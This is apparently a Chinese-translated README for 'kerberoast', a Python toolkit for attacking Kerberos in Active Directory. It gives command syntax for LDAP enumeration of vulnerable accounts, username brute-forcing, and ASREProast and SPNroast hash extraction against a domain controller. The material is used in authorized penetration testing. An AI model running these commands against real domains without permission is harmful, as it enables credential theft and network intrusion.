如果你喜欢这个项目,请在 GitHub 上赞助它! 赞助者
Kerberos 攻击工具包 —纯 Python—

pip3 install kerberoast
Python 3.6 参见 requirements.txt
重要:接受的 LDAP 和 Kerberos 目标 URL 格式如下
<ldap_connection_url> : <protocol>+<auth-type>://<domain>\<user>:<password>@<ip_or_hostname>/?<param1>=<value1>
<kerberos_connection_url>: <protocol>+<auth-type>://<domain>\<user>:<password>@<ip_or_hostname>/?<param1>=<value1>
步骤 —使用 SSPI—:
kerberoast auto <DC_ip>
步骤 —不使用 SSPI—:
kerberoast ldap all <ldap_connection_url> -o ldapenumldapenum_asrep_users.txt 文件中的用户执行 ASREP 攻击kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txtldapenum_spn_users.txt 文件中的用户执行 SPN 攻击kerberoast spnroast <kerberos_connection_url> -t ldapenum_spn_users.txt此命令组用于通过 LDAP 枚举可能易受攻击的用户。
kerberoast ldap <type> <ldap_connection_url> <options>
Type: 支持枚举三种类型的用户
spn 枚举设置了 servicePrincipalName 属性的用户。asrep 枚举在 UAC 属性中设置了 DONT_REQ_PREAUTH 标志的用户。all 启动上述所有枚举。ldap_connection_url: 以 msldap URL 格式指定用户凭据和目标服务器(参见帮助)
options:
-o: 输出文件基本名称
此命令通过使用可能的用户名候选对 Kerberos 服务进行暴力破解来执行用户名枚举。
kerberoast brute <realm> <dc_ip> <targets> <options>
realm: Kerberos 领域,通常看起来像 COMPANY.corp
dc_ip: 域控制器的 IP 或主机名
targets: 包含可能用户名候选的文件路径
options:
-o: 输出文件基本名称
此命令用于执行 ASREProast 攻击。
kerberoast asreproast <dc_ip> <options>
dc_ip: 域控制器的 IP 或主机名
options:
-r: 指定要使用的 Kerberos 领域。它会覆盖所有其他领域信息。
-o: 输出文件基本名称
-t: 包含要执行攻击的用户名的文件路径
-u: 指定要执行攻击的用户。格式为 <username> 或 <username>@<realm>,但在第一种情况下,必须使用 -r 选项指定领域
此命令用于执行 SPNroast(又称 kerberoast)攻击。
kerberoast spnroast <kerberos_connection_url> <options>
kerberos_connection_url: 以 Kerberos URL 格式指定用户凭据和目标服务器(参见帮助)
options:
-r: 指定要使用的 Kerberos 领域。它会覆盖所有其他领域信息。
-o: 输出文件基本名称
-t: 包含要执行攻击的用户名的文件路径
-u: 指定要执行攻击的用户。格式为 <username> 或 <username>@<realm>,但在第一种情况下,必须使用 -r 选项指定领域